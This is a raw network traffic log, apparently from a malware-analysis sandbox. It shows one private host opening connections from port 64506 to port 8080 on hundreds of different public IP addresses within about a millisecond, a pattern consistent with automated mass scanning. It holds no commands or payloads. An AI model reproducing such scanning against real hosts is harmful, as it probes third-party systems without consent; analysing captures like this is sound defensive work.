                                                Nov 23, 2023 05:19:42.134413958 CET645068080192.168.2.1594.217.3.143
                                                Nov 23, 2023 05:19:42.134418964 CET645068080192.168.2.1595.244.35.81
                                                Nov 23, 2023 05:19:42.134429932 CET645068080192.168.2.1595.237.206.87
                                                Nov 23, 2023 05:19:42.134429932 CET645068080192.168.2.1562.95.223.209
                                                Nov 23, 2023 05:19:42.134443045 CET645068080192.168.2.1594.212.131.82
                                                Nov 23, 2023 05:19:42.134443998 CET645068080192.168.2.1585.137.34.42
                                                Nov 23, 2023 05:19:42.134443998 CET645068080192.168.2.1531.187.182.34
                                                Nov 23, 2023 05:19:42.134443998 CET645068080192.168.2.1531.10.55.118
                                                Nov 23, 2023 05:19:42.134443998 CET645068080192.168.2.1531.70.87.55
                                                Nov 23, 2023 05:19:42.134448051 CET645068080192.168.2.1585.1.151.90
                                                Nov 23, 2023 05:19:42.134454966 CET645068080192.168.2.1531.76.150.54
                                                Nov 23, 2023 05:19:42.134454966 CET645068080192.168.2.1531.217.63.249
                                                Nov 23, 2023 05:19:42.134454966 CET645068080192.168.2.1594.243.252.131
                                                Nov 23, 2023 05:19:42.134457111 CET645068080192.168.2.1562.63.176.18
                                                Nov 23, 2023 05:19:42.134459972 CET645068080192.168.2.1531.198.0.154
                                                Nov 23, 2023 05:19:42.134471893 CET645068080192.168.2.1595.234.118.169
                                                Nov 23, 2023 05:19:42.134469032 CET645068080192.168.2.1595.12.216.185
                                                Nov 23, 2023 05:19:42.134471893 CET645068080192.168.2.1585.211.160.63
                                                Nov 23, 2023 05:19:42.134471893 CET645068080192.168.2.1585.220.41.77
                                                Nov 23, 2023 05:19:42.134469986 CET645068080192.168.2.1531.26.222.61
                                                Nov 23, 2023 05:19:42.134471893 CET645068080192.168.2.1595.204.8.72
                                                Nov 23, 2023 05:19:42.134469986 CET645068080192.168.2.1595.142.24.103
                                                Nov 23, 2023 05:19:42.134471893 CET645068080192.168.2.1585.110.150.53
                                                Nov 23, 2023 05:19:42.134469986 CET645068080192.168.2.1531.185.154.166
                                                Nov 23, 2023 05:19:42.134469986 CET645068080192.168.2.1594.217.188.191
                                                Nov 23, 2023 05:19:42.134469986 CET645068080192.168.2.1595.112.66.15
                                                Nov 23, 2023 05:19:42.134495020 CET645068080192.168.2.1531.56.45.2
                                                Nov 23, 2023 05:19:42.134500980 CET645068080192.168.2.1594.115.174.84
                                                Nov 23, 2023 05:19:42.134506941 CET645068080192.168.2.1585.2.248.200
                                                Nov 23, 2023 05:19:42.134515047 CET645068080192.168.2.1531.212.188.70
                                                Nov 23, 2023 05:19:42.134515047 CET645068080192.168.2.1531.75.19.171
                                                Nov 23, 2023 05:19:42.134515047 CET645068080192.168.2.1594.211.3.207
                                                Nov 23, 2023 05:19:42.134515047 CET645068080192.168.2.1562.31.87.226
                                                Nov 23, 2023 05:19:42.134519100 CET645068080192.168.2.1562.58.25.164
                                                Nov 23, 2023 05:19:42.134519100 CET645068080192.168.2.1595.157.215.198
                                                Nov 23, 2023 05:19:42.134520054 CET645068080192.168.2.1562.226.88.98
                                                Nov 23, 2023 05:19:42.134520054 CET645068080192.168.2.1594.62.29.91
                                                Nov 23, 2023 05:19:42.134520054 CET645068080192.168.2.1562.173.188.98
                                                Nov 23, 2023 05:19:42.134520054 CET645068080192.168.2.1531.231.120.100
                                                Nov 23, 2023 05:19:42.134524107 CET645068080192.168.2.1562.118.232.182
                                                Nov 23, 2023 05:19:42.134531021 CET645068080192.168.2.1562.46.57.163
                                                Nov 23, 2023 05:19:42.134546041 CET645068080192.168.2.1585.120.56.164
                                                Nov 23, 2023 05:19:42.134546041 CET645068080192.168.2.1562.142.51.86
                                                Nov 23, 2023 05:19:42.134546041 CET645068080192.168.2.1562.192.151.104
                                                Nov 23, 2023 05:19:42.134578943 CET645068080192.168.2.1531.57.66.247
                                                Nov 23, 2023 05:19:42.134579897 CET645068080192.168.2.1562.70.160.218
                                                Nov 23, 2023 05:19:42.134579897 CET645068080192.168.2.1595.47.185.43
                                                Nov 23, 2023 05:19:42.134579897 CET645068080192.168.2.1594.93.167.86
                                                Nov 23, 2023 05:19:42.134584904 CET645068080192.168.2.1595.26.87.155
                                                Nov 23, 2023 05:19:42.134584904 CET645068080192.168.2.1562.227.90.82
                                                Nov 23, 2023 05:19:42.134584904 CET645068080192.168.2.1594.48.174.15
                                                Nov 23, 2023 05:19:42.134593010 CET645068080192.168.2.1585.215.133.163
                                                Nov 23, 2023 05:19:42.134597063 CET645068080192.168.2.1531.7.216.21
                                                Nov 23, 2023 05:19:42.134597063 CET645068080192.168.2.1562.58.151.40
                                                Nov 23, 2023 05:19:42.134597063 CET645068080192.168.2.1531.59.24.234
                                                Nov 23, 2023 05:19:42.134607077 CET645068080192.168.2.1585.232.133.211
                                                Nov 23, 2023 05:19:42.134608030 CET645068080192.168.2.1531.173.194.220
                                                Nov 23, 2023 05:19:42.134608030 CET645068080192.168.2.1585.38.222.69
                                                Nov 23, 2023 05:19:42.134608030 CET645068080192.168.2.1531.41.172.21
                                                Nov 23, 2023 05:19:42.134609938 CET645068080192.168.2.1562.7.114.172
                                                Nov 23, 2023 05:19:42.134610891 CET645068080192.168.2.1562.218.65.131
                                                Nov 23, 2023 05:19:42.134610891 CET645068080192.168.2.1585.209.161.130
                                                Nov 23, 2023 05:19:42.134610891 CET645068080192.168.2.1562.0.98.25
                                                Nov 23, 2023 05:19:42.134613037 CET645068080192.168.2.1562.203.199.32
                                                Nov 23, 2023 05:19:42.134624958 CET645068080192.168.2.1562.48.130.127
                                                Nov 23, 2023 05:19:42.134625912 CET645068080192.168.2.1594.36.223.45
                                                Nov 23, 2023 05:19:42.134628057 CET645068080192.168.2.1594.204.153.91
                                                Nov 23, 2023 05:19:42.134640932 CET645068080192.168.2.1585.84.16.25
                                                Nov 23, 2023 05:19:42.134640932 CET645068080192.168.2.1585.236.50.102
                                                Nov 23, 2023 05:19:42.134660959 CET645068080192.168.2.1594.73.99.222
                                                Nov 23, 2023 05:19:42.134660959 CET645068080192.168.2.1531.144.11.199
                                                Nov 23, 2023 05:19:42.134660959 CET645068080192.168.2.1595.193.13.124
                                                Nov 23, 2023 05:19:42.134660959 CET645068080192.168.2.1585.78.174.167
                                                Nov 23, 2023 05:19:42.134689093 CET645068080192.168.2.1595.203.167.245
                                                Nov 23, 2023 05:19:42.134689093 CET645068080192.168.2.1585.8.5.171
                                                Nov 23, 2023 05:19:42.134691000 CET645068080192.168.2.1585.136.104.200
                                                Nov 23, 2023 05:19:42.134691000 CET645068080192.168.2.1531.183.106.252
                                                Nov 23, 2023 05:19:42.134692907 CET645068080192.168.2.1594.92.135.213
                                                Nov 23, 2023 05:19:42.134692907 CET645068080192.168.2.1562.8.24.43
                                                Nov 23, 2023 05:19:42.134692907 CET645068080192.168.2.1562.7.33.209
                                                Nov 23, 2023 05:19:42.134694099 CET645068080192.168.2.1595.36.68.45
                                                Nov 23, 2023 05:19:42.134696007 CET645068080192.168.2.1594.212.47.131
                                                Nov 23, 2023 05:19:42.134710073 CET645068080192.168.2.1594.224.59.77
                                                Nov 23, 2023 05:19:42.134711027 CET645068080192.168.2.1594.234.184.81
                                                Nov 23, 2023 05:19:42.134710073 CET645068080192.168.2.1595.77.3.128
                                                Nov 23, 2023 05:19:42.134710073 CET645068080192.168.2.1585.130.178.232
                                                Nov 23, 2023 05:19:42.134710073 CET645068080192.168.2.1585.255.62.108
                                                Nov 23, 2023 05:19:42.134716034 CET645068080192.168.2.1594.212.249.150
                                                Nov 23, 2023 05:19:42.134716988 CET645068080192.168.2.1595.205.201.60
                                                Nov 23, 2023 05:19:42.134716988 CET645068080192.168.2.1585.86.158.78
                                                Nov 23, 2023 05:19:42.134717941 CET645068080192.168.2.1594.163.128.85
                                                Nov 23, 2023 05:19:42.134716988 CET645068080192.168.2.1531.139.13.245
                                                Nov 23, 2023 05:19:42.134717941 CET645068080192.168.2.1595.9.159.130
                                                Nov 23, 2023 05:19:42.134716988 CET645068080192.168.2.1531.176.241.142
                                                Nov 23, 2023 05:19:42.134720087 CET645068080192.168.2.1585.37.168.113
                                                Nov 23, 2023 05:19:42.134716988 CET645068080192.168.2.1595.197.38.65
                                                Nov 23, 2023 05:19:42.134720087 CET645068080192.168.2.1562.244.78.134
                                                Nov 23, 2023 05:19:42.134726048 CET645068080192.168.2.1585.29.8.79
                                                Nov 23, 2023 05:19:42.134726048 CET645068080192.168.2.1585.29.192.150
                                                Nov 23, 2023 05:19:42.134737015 CET645068080192.168.2.1562.121.80.222
                                                Nov 23, 2023 05:19:42.134737015 CET645068080192.168.2.1595.21.10.148
                                                Nov 23, 2023 05:19:42.134741068 CET645068080192.168.2.1531.160.24.30
                                                Nov 23, 2023 05:19:42.134759903 CET645068080192.168.2.1585.227.0.105
                                                Nov 23, 2023 05:19:42.134763002 CET645068080192.168.2.1531.35.7.68
                                                Nov 23, 2023 05:19:42.134763956 CET645068080192.168.2.1595.202.32.198
                                                Nov 23, 2023 05:19:42.134769917 CET645068080192.168.2.1595.194.41.176
                                                Nov 23, 2023 05:19:42.134769917 CET645068080192.168.2.1531.143.22.216
                                                Nov 23, 2023 05:19:42.134773016 CET645068080192.168.2.1562.62.169.195
                                                Nov 23, 2023 05:19:42.134788036 CET645068080192.168.2.1595.5.67.22
                                                Nov 23, 2023 05:19:42.134790897 CET645068080192.168.2.1594.34.165.143
                                                Nov 23, 2023 05:19:42.134809971 CET645068080192.168.2.1595.51.208.20
                                                Nov 23, 2023 05:19:42.134813070 CET645068080192.168.2.1595.6.173.176
                                                Nov 23, 2023 05:19:42.134814978 CET645068080192.168.2.1562.158.245.249
                                                Nov 23, 2023 05:19:42.134815931 CET645068080192.168.2.1531.107.58.189
                                                Nov 23, 2023 05:19:42.134815931 CET645068080192.168.2.1585.141.230.65
                                                Nov 23, 2023 05:19:42.134815931 CET645068080192.168.2.1594.119.32.121
                                                Nov 23, 2023 05:19:42.134809971 CET645068080192.168.2.1595.9.123.223
                                                Nov 23, 2023 05:19:42.134810925 CET645068080192.168.2.1585.127.180.243
                                                Nov 23, 2023 05:19:42.134810925 CET645068080192.168.2.1531.130.153.112
                                                Nov 23, 2023 05:19:42.134810925 CET645068080192.168.2.1595.250.126.151
                                                Nov 23, 2023 05:19:42.134820938 CET645068080192.168.2.1594.66.97.164
                                                Nov 23, 2023 05:19:42.134820938 CET645068080192.168.2.1531.149.164.150
                                                Nov 23, 2023 05:19:42.134820938 CET645068080192.168.2.1595.133.55.170
                                                Nov 23, 2023 05:19:42.134820938 CET645068080192.168.2.1531.101.201.177
                                                Nov 23, 2023 05:19:42.134820938 CET645068080192.168.2.1562.203.34.29
                                                Nov 23, 2023 05:19:42.134828091 CET645068080192.168.2.1594.194.14.170
                                                Nov 23, 2023 05:19:42.134828091 CET645068080192.168.2.1585.182.204.212
                                                Nov 23, 2023 05:19:42.134829044 CET645068080192.168.2.1595.187.241.34
                                                Nov 23, 2023 05:19:42.134831905 CET645068080192.168.2.1594.207.126.158
                                                Nov 23, 2023 05:19:42.134835005 CET645068080192.168.2.1594.213.189.31
                                                Nov 23, 2023 05:19:42.134835005 CET645068080192.168.2.1595.242.236.167
                                                Nov 23, 2023 05:19:42.134835005 CET645068080192.168.2.1594.132.198.20
                                                Nov 23, 2023 05:19:42.134835005 CET645068080192.168.2.1595.172.240.20
                                                Nov 23, 2023 05:19:42.134835005 CET645068080192.168.2.1562.161.175.8
                                                Nov 23, 2023 05:19:42.134840965 CET645068080192.168.2.1562.234.67.128
                                                Nov 23, 2023 05:19:42.134846926 CET645068080192.168.2.1562.8.124.32
                                                Nov 23, 2023 05:19:42.134846926 CET645068080192.168.2.1595.38.108.247
                                                Nov 23, 2023 05:19:42.134846926 CET645068080192.168.2.1595.6.54.84
                                                Nov 23, 2023 05:19:42.134846926 CET645068080192.168.2.1585.158.116.248
                                                Nov 23, 2023 05:19:42.134850979 CET645068080192.168.2.1562.255.20.35
                                                Nov 23, 2023 05:19:42.134850979 CET645068080192.168.2.1594.77.13.157
                                                Nov 23, 2023 05:19:42.134850979 CET645068080192.168.2.1594.24.14.182
                                                Nov 23, 2023 05:19:42.134850979 CET645068080192.168.2.1585.48.161.59
                                                Nov 23, 2023 05:19:42.134854078 CET645068080192.168.2.1594.253.194.161
                                                Nov 23, 2023 05:19:42.134850979 CET645068080192.168.2.1562.221.13.124
                                                Nov 23, 2023 05:19:42.134850979 CET645068080192.168.2.1594.84.213.252
                                                Nov 23, 2023 05:19:42.134859085 CET645068080192.168.2.1595.237.4.0
                                                Nov 23, 2023 05:19:42.134859085 CET645068080192.168.2.1594.105.121.35
                                                Nov 23, 2023 05:19:42.134866953 CET645068080192.168.2.1562.24.113.5
                                                Nov 23, 2023 05:19:42.134896040 CET645068080192.168.2.1531.10.222.179
                                                Nov 23, 2023 05:19:42.134902000 CET645068080192.168.2.1531.137.186.32
                                                Nov 23, 2023 05:19:42.134902000 CET645068080192.168.2.1531.27.125.161
                                                Nov 23, 2023 05:19:42.134907961 CET645068080192.168.2.1595.79.40.255
                                                Nov 23, 2023 05:19:42.134907961 CET645068080192.168.2.1562.106.161.18
                                                Nov 23, 2023 05:19:42.134910107 CET645068080192.168.2.1585.196.62.232
                                                Nov 23, 2023 05:19:42.134912968 CET645068080192.168.2.1562.136.23.58
                                                Nov 23, 2023 05:19:42.134912968 CET645068080192.168.2.1594.219.139.6
                                                Nov 23, 2023 05:19:42.134928942 CET645068080192.168.2.1562.176.99.249
                                                Nov 23, 2023 05:19:42.134928942 CET645068080192.168.2.1562.108.162.146
                                                Nov 23, 2023 05:19:42.134933949 CET645068080192.168.2.1595.189.172.168
                                                Nov 23, 2023 05:19:42.134934902 CET645068080192.168.2.1594.100.97.218
                                                Nov 23, 2023 05:19:42.134934902 CET645068080192.168.2.1594.140.53.141
                                                Nov 23, 2023 05:19:42.134934902 CET645068080192.168.2.1585.194.231.191
                                                Nov 23, 2023 05:19:42.134934902 CET645068080192.168.2.1585.173.2.25
                                                Nov 23, 2023 05:19:42.134934902 CET645068080192.168.2.1595.224.175.44
                                                Nov 23, 2023 05:19:42.134934902 CET645068080192.168.2.1594.189.194.72
                                                Nov 23, 2023 05:19:42.134934902 CET645068080192.168.2.1531.180.223.37
                                                Nov 23, 2023 05:19:42.134949923 CET645068080192.168.2.1562.154.230.118
                                                Nov 23, 2023 05:19:42.134949923 CET645068080192.168.2.1562.32.223.155
                                                Nov 23, 2023 05:19:42.134960890 CET645068080192.168.2.1594.245.125.238
                                                Nov 23, 2023 05:19:42.134962082 CET645068080192.168.2.1531.168.157.254
                                                Nov 23, 2023 05:19:42.134962082 CET645068080192.168.2.1585.200.96.223
                                                Nov 23, 2023 05:19:42.134965897 CET645068080192.168.2.1594.104.190.33
                                                Nov 23, 2023 05:19:42.134965897 CET645068080192.168.2.1595.113.131.193
                                                Nov 23, 2023 05:19:42.134974003 CET645068080192.168.2.1531.18.106.56
                                                Nov 23, 2023 05:19:42.134974003 CET645068080192.168.2.1531.37.68.140
                                                Nov 23, 2023 05:19:42.134974003 CET645068080192.168.2.1531.79.157.38
                                                Nov 23, 2023 05:19:42.134977102 CET645068080192.168.2.1595.237.191.110
                                                Nov 23, 2023 05:19:42.134979010 CET645068080192.168.2.1585.34.169.232
                                                Nov 23, 2023 05:19:42.134983063 CET645068080192.168.2.1531.141.57.186
                                                Nov 23, 2023 05:19:42.134983063 CET645068080192.168.2.1594.160.173.110
                                                Nov 23, 2023 05:19:42.134983063 CET645068080192.168.2.1594.140.42.254
                                                Nov 23, 2023 05:19:42.134983063 CET645068080192.168.2.1594.195.217.219
                                                Nov 23, 2023 05:19:42.134991884 CET645068080192.168.2.1585.57.16.244
                                                Nov 23, 2023 05:19:42.134994984 CET645068080192.168.2.1585.189.9.244
                                                Nov 23, 2023 05:19:42.134996891 CET645068080192.168.2.1595.97.200.156
                                                Nov 23, 2023 05:19:42.134998083 CET645068080192.168.2.1585.178.7.217
                                                Nov 23, 2023 05:19:42.134998083 CET645068080192.168.2.1531.59.210.236
                                                Nov 23, 2023 05:19:42.134998083 CET645068080192.168.2.1531.5.240.163
                                                Nov 23, 2023 05:19:42.134999037 CET645068080192.168.2.1594.79.222.11
                                                Nov 23, 2023 05:19:42.134996891 CET645068080192.168.2.1595.110.138.204
                                                Nov 23, 2023 05:19:42.134999037 CET645068080192.168.2.1585.123.102.0
                                                Nov 23, 2023 05:19:42.134996891 CET645068080192.168.2.1531.178.179.9
                                                Nov 23, 2023 05:19:42.135003090 CET645068080192.168.2.1595.62.96.17
                                                Nov 23, 2023 05:19:42.134998083 CET645068080192.168.2.1531.111.187.221
                                                Nov 23, 2023 05:19:42.135003090 CET645068080192.168.2.1585.132.23.109
                                                Nov 23, 2023 05:19:42.135004997 CET645068080192.168.2.1562.153.54.187
                                                Nov 23, 2023 05:19:42.135003090 CET645068080192.168.2.1562.130.245.51
                                                Nov 23, 2023 05:19:42.135003090 CET645068080192.168.2.1585.10.144.94
                                                Nov 23, 2023 05:19:42.135018110 CET645068080192.168.2.1595.75.245.34
                                                Nov 23, 2023 05:19:42.135018110 CET645068080192.168.2.1594.66.223.127
                                                Nov 23, 2023 05:19:42.135044098 CET645068080192.168.2.1595.150.109.94
                                                Nov 23, 2023 05:19:42.135044098 CET645068080192.168.2.1595.67.141.225
                                                Nov 23, 2023 05:19:42.135045052 CET645068080192.168.2.1595.198.60.166
                                                Nov 23, 2023 05:19:42.135045052 CET645068080192.168.2.1595.213.235.110
                                                Nov 23, 2023 05:19:42.135047913 CET645068080192.168.2.1562.194.189.119
                                                Nov 23, 2023 05:19:42.135047913 CET645068080192.168.2.1562.136.117.195
                                                Nov 23, 2023 05:19:42.135056019 CET645068080192.168.2.1595.183.219.141
                                                Nov 23, 2023 05:19:42.135056019 CET645068080192.168.2.1562.248.221.215
                                                Nov 23, 2023 05:19:42.135056019 CET645068080192.168.2.1562.34.30.237
                                                Nov 23, 2023 05:19:42.135056019 CET645068080192.168.2.1585.157.193.252
                                                Nov 23, 2023 05:19:42.135070086 CET645068080192.168.2.1594.134.96.41
                                                Nov 23, 2023 05:19:42.135070086 CET645068080192.168.2.1531.247.108.159
                                                Nov 23, 2023 05:19:42.135070086 CET645068080192.168.2.1585.169.141.71
                                                Nov 23, 2023 05:19:42.135070086 CET645068080192.168.2.1595.224.76.13
                                                Nov 23, 2023 05:19:42.135070086 CET645068080192.168.2.1531.124.247.111
                                                Nov 23, 2023 05:19:42.135070086 CET645068080192.168.2.1595.113.171.48
                                                Nov 23, 2023 05:19:42.135087967 CET645068080192.168.2.1585.109.154.90
                                                Nov 23, 2023 05:19:42.135088921 CET645068080192.168.2.1594.9.222.190
                                                Nov 23, 2023 05:19:42.135092974 CET645068080192.168.2.1531.153.230.113
                                                Nov 23, 2023 05:19:42.135092974 CET645068080192.168.2.1585.226.145.81
                                                Nov 23, 2023 05:19:42.135092974 CET645068080192.168.2.1595.50.119.72
                                                Nov 23, 2023 05:19:42.135096073 CET645068080192.168.2.1585.233.132.90
                                                Nov 23, 2023 05:19:42.135096073 CET645068080192.168.2.1595.106.112.93
                                                Nov 23, 2023 05:19:42.135096073 CET645068080192.168.2.1562.210.218.252
                                                Nov 23, 2023 05:19:42.135098934 CET645068080192.168.2.1585.76.120.252
                                                Nov 23, 2023 05:19:42.135102034 CET645068080192.168.2.1595.42.158.76
                                                Nov 23, 2023 05:19:42.135102987 CET645068080192.168.2.1594.213.0.210
                                                Nov 23, 2023 05:19:42.135106087 CET645068080192.168.2.1531.233.0.27
                                                Nov 23, 2023 05:19:42.135106087 CET645068080192.168.2.1585.93.194.34
                                                Nov 23, 2023 05:19:42.135106087 CET645068080192.168.2.1594.252.45.125
                                                Nov 23, 2023 05:19:42.135113955 CET645068080192.168.2.1562.37.216.235
                                                Nov 23, 2023 05:19:42.135118008 CET645068080192.168.2.1594.48.25.101
                                                Nov 23, 2023 05:19:42.135118008 CET645068080192.168.2.1594.231.116.87
                                                Nov 23, 2023 05:19:42.135118008 CET645068080192.168.2.1595.155.215.212
                                                Nov 23, 2023 05:19:42.135118008 CET645068080192.168.2.1531.218.81.29
                                                Nov 23, 2023 05:19:42.135118008 CET645068080192.168.2.1531.18.152.189
                                                Nov 23, 2023 05:19:42.135118008 CET645068080192.168.2.1531.230.199.219
                                                Nov 23, 2023 05:19:42.135118008 CET645068080192.168.2.1585.142.158.85
                                                Nov 23, 2023 05:19:42.135128021 CET645068080192.168.2.1562.161.183.156
                                                Nov 23, 2023 05:19:42.135129929 CET645068080192.168.2.1585.109.240.199
                                                Nov 23, 2023 05:19:42.135128021 CET645068080192.168.2.1585.212.125.201
                                                Nov 23, 2023 05:19:42.135118008 CET645068080192.168.2.1594.174.43.144
                                                Nov 23, 2023 05:19:42.135128021 CET645068080192.168.2.1595.30.63.0
                                                Nov 23, 2023 05:19:42.135128021 CET645068080192.168.2.1585.140.165.171
                                                Nov 23, 2023 05:19:42.135139942 CET645068080192.168.2.1562.223.30.76
                                                Nov 23, 2023 05:19:42.135143042 CET645068080192.168.2.1562.0.216.22
                                                Nov 23, 2023 05:19:42.135143042 CET645068080192.168.2.1585.105.246.112
                                                Nov 23, 2023 05:19:42.135150909 CET645068080192.168.2.1585.145.141.102
                                                Nov 23, 2023 05:19:42.135150909 CET645068080192.168.2.1595.9.114.43
                                                Nov 23, 2023 05:19:42.135165930 CET645068080192.168.2.1595.90.129.1
                                                Nov 23, 2023 05:19:42.135166883 CET645068080192.168.2.1594.134.196.16
                                                Nov 23, 2023 05:19:42.135166883 CET645068080192.168.2.1585.71.35.55
                                                Nov 23, 2023 05:19:42.135168076 CET645068080192.168.2.1531.218.190.0
                                                Nov 23, 2023 05:19:42.135168076 CET645068080192.168.2.1562.49.199.55
                                                Nov 23, 2023 05:19:42.135168076 CET645068080192.168.2.1531.40.130.220
                                                Nov 23, 2023 05:19:42.135180950 CET645068080192.168.2.1594.210.0.202
                                                Nov 23, 2023 05:19:42.135185957 CET645068080192.168.2.1531.250.189.226
                                                Nov 23, 2023 05:19:42.135185957 CET645068080192.168.2.1562.169.125.53
                                                Nov 23, 2023 05:19:42.135185957 CET645068080192.168.2.1562.28.187.105
                                                Nov 23, 2023 05:19:42.135188103 CET645068080192.168.2.1594.99.13.140
                                                Nov 23, 2023 05:19:42.135189056 CET645068080192.168.2.1562.229.104.184
                                                Nov 23, 2023 05:19:42.135193110 CET645068080192.168.2.1595.242.83.210
                                                Nov 23, 2023 05:19:42.135193110 CET645068080192.168.2.1585.215.128.165
                                                Nov 23, 2023 05:19:42.135194063 CET645068080192.168.2.1594.56.201.161
                                                Nov 23, 2023 05:19:42.135193110 CET645068080192.168.2.1531.62.25.213
                                                Nov 23, 2023 05:19:42.135193110 CET645068080192.168.2.1562.106.82.233
                                                Nov 23, 2023 05:19:42.135207891 CET645068080192.168.2.1585.217.95.233
                                                Nov 23, 2023 05:19:42.135212898 CET645068080192.168.2.1531.24.10.136
                                                Nov 23, 2023 05:19:42.135212898 CET645068080192.168.2.1562.55.122.202
                                                Nov 23, 2023 05:19:42.135222912 CET645068080192.168.2.1562.55.48.88
                                                Nov 23, 2023 05:19:42.135234118 CET645068080192.168.2.1594.113.130.56
                                                Nov 23, 2023 05:19:42.135247946 CET645068080192.168.2.1594.212.109.131
                                                Nov 23, 2023 05:19:42.135277033 CET645068080192.168.2.1531.193.254.87
                                                Nov 23, 2023 05:19:42.135277033 CET645068080192.168.2.1594.122.42.60
                                                Nov 23, 2023 05:19:42.135277987 CET645068080192.168.2.1595.18.249.202
                                                Nov 23, 2023 05:19:42.135283947 CET645068080192.168.2.1585.77.224.120
                                                Nov 23, 2023 05:19:42.135283947 CET645068080192.168.2.1531.82.194.4
                                                Nov 23, 2023 05:19:42.135284901 CET645068080192.168.2.1562.139.255.51
                                                Nov 23, 2023 05:19:42.135284901 CET645068080192.168.2.1595.255.55.178
                                                Nov 23, 2023 05:19:42.135284901 CET645068080192.168.2.1531.91.25.1
                                                Nov 23, 2023 05:19:42.135284901 CET645068080192.168.2.1595.197.156.140
                                                Nov 23, 2023 05:19:42.135284901 CET645068080192.168.2.1595.199.174.4
                                                Nov 23, 2023 05:19:42.135289907 CET645068080192.168.2.1562.0.230.239
                                                Nov 23, 2023 05:19:42.135293007 CET645068080192.168.2.1531.179.205.193
                                                Nov 23, 2023 05:19:42.135293007 CET645068080192.168.2.1594.145.74.138
                                                Nov 23, 2023 05:19:42.135293007 CET645068080192.168.2.1562.134.230.9
                                                Nov 23, 2023 05:19:42.135293007 CET645068080192.168.2.1531.170.179.18
                                                Nov 23, 2023 05:19:42.135293007 CET645068080192.168.2.1562.47.94.201
                                                Nov 23, 2023 05:19:42.135308981 CET645068080192.168.2.1531.55.125.97
                                                Nov 23, 2023 05:19:42.135308981 CET645068080192.168.2.1585.185.45.151
                                                Nov 23, 2023 05:19:42.135334969 CET645068080192.168.2.1531.155.36.154
                                                Nov 23, 2023 05:19:42.135374069 CET645068080192.168.2.1562.196.83.54
                                                Nov 23, 2023 05:19:42.135375977 CET645068080192.168.2.1585.231.28.238
                                                Nov 23, 2023 05:19:42.135376930 CET645068080192.168.2.1562.154.27.48
                                                Nov 23, 2023 05:19:42.135381937 CET645068080192.168.2.1531.217.27.40
                                                Nov 23, 2023 05:19:42.135416985 CET645068080192.168.2.1594.162.246.193
                                                Nov 23, 2023 05:19:42.135417938 CET645068080192.168.2.1562.16.179.7
                                                Nov 23, 2023 05:19:42.135416985 CET645068080192.168.2.1531.102.218.180
                                                Nov 23, 2023 05:19:42.135417938 CET645068080192.168.2.1585.16.11.251
                                                Nov 23, 2023 05:19:42.135432959 CET645068080192.168.2.1595.200.227.209
                                                Nov 23, 2023 05:19:42.135432959 CET645068080192.168.2.1531.122.47.169
                                                Nov 23, 2023 05:19:42.135432959 CET645068080192.168.2.1585.104.85.86
                                                Nov 23, 2023 05:19:42.135435104 CET645068080192.168.2.1595.214.140.203
                                                Nov 23, 2023 05:19:42.135436058 CET645068080192.168.2.1531.31.63.224
                                                Nov 23, 2023 05:19:42.135435104 CET645068080192.168.2.1531.123.172.72
                                                Nov 23, 2023 05:19:42.135442019 CET645068080192.168.2.1562.215.86.178
                                                Nov 23, 2023 05:19:42.135442019 CET645068080192.168.2.1531.53.102.96
                                                Nov 23, 2023 05:19:42.135442019 CET645068080192.168.2.1562.211.211.113
                                                Nov 23, 2023 05:19:42.135442019 CET645068080192.168.2.1594.223.193.122
                                                Nov 23, 2023 05:19:42.135446072 CET645068080192.168.2.1531.37.2.83
                                                Nov 23, 2023 05:19:42.135446072 CET645068080192.168.2.1595.103.26.139
                                                Nov 23, 2023 05:19:42.135446072 CET645068080192.168.2.1531.99.76.173
                                                Nov 23, 2023 05:19:42.135447979 CET645068080192.168.2.1562.150.158.61
                                                Nov 23, 2023 05:19:42.135452986 CET645068080192.168.2.1594.255.103.32
                                                Nov 23, 2023 05:19:42.135456085 CET645068080192.168.2.1594.80.70.8
                                                Nov 23, 2023 05:19:42.135467052 CET645068080192.168.2.1562.31.74.71
                                                Nov 23, 2023 05:19:42.135467052 CET645068080192.168.2.1594.25.56.9
                                                Nov 23, 2023 05:19:42.135484934 CET645068080192.168.2.1585.146.2.196
                                                Nov 23, 2023 05:19:42.135484934 CET645068080192.168.2.1531.200.238.46
                                                Nov 23, 2023 05:19:42.135499954 CET645068080192.168.2.1594.21.239.103
                                                Nov 23, 2023 05:19:42.135499954 CET645068080192.168.2.1585.109.129.134
                                                Nov 23, 2023 05:19:42.135499954 CET645068080192.168.2.1595.43.232.185
                                                Nov 23, 2023 05:19:42.135500908 CET645068080192.168.2.1594.75.118.126
                                                Nov 23, 2023 05:19:42.135507107 CET645068080192.168.2.1562.64.44.243
                                                Nov 23, 2023 05:19:42.135509014 CET645068080192.168.2.1594.208.210.158
                                                Nov 23, 2023 05:19:42.135507107 CET645068080192.168.2.1562.106.50.6
                                                Nov 23, 2023 05:19:42.135507107 CET645068080192.168.2.1531.7.211.253
                                                Nov 23, 2023 05:19:42.135509014 CET645068080192.168.2.1595.166.188.82
                                                Nov 23, 2023 05:19:42.135509968 CET645068080192.168.2.1594.188.25.163
                                                Nov 23, 2023 05:19:42.135509014 CET645068080192.168.2.1585.69.80.113
                                                Nov 23, 2023 05:19:42.135514021 CET645068080192.168.2.1531.61.83.211
                                                Nov 23, 2023 05:19:42.135509968 CET645068080192.168.2.1594.199.76.116
                                                Nov 23, 2023 05:19:42.135507107 CET645068080192.168.2.1562.236.202.166
                                                Nov 23, 2023 05:19:42.135509014 CET645068080192.168.2.1594.235.31.1
                                                Nov 23, 2023 05:19:42.135520935 CET645068080192.168.2.1531.15.192.57
                                                Nov 23, 2023 05:19:42.135524035 CET645068080192.168.2.1594.152.117.58
                                                Nov 23, 2023 05:19:42.135534048 CET645068080192.168.2.1562.62.211.37
                                                Nov 23, 2023 05:19:42.135538101 CET645068080192.168.2.1595.210.19.203
                                                Nov 23, 2023 05:19:42.135540962 CET645068080192.168.2.1595.233.196.110
                                                Nov 23, 2023 05:19:42.135540962 CET645068080192.168.2.1595.140.235.177
                                                Nov 23, 2023 05:19:42.135555983 CET645068080192.168.2.1594.113.88.29
                                                Nov 23, 2023 05:19:42.135555983 CET645068080192.168.2.1531.91.164.178
                                                Nov 23, 2023 05:19:42.135557890 CET645068080192.168.2.1594.98.222.252
                                                Nov 23, 2023 05:19:42.135557890 CET645068080192.168.2.1594.80.154.176
                                                Nov 23, 2023 05:19:42.135557890 CET645068080192.168.2.1531.38.109.7
                                                Nov 23, 2023 05:19:42.135557890 CET645068080192.168.2.1595.61.8.175
                                                Nov 23, 2023 05:19:42.135569096 CET645068080192.168.2.1531.229.171.83
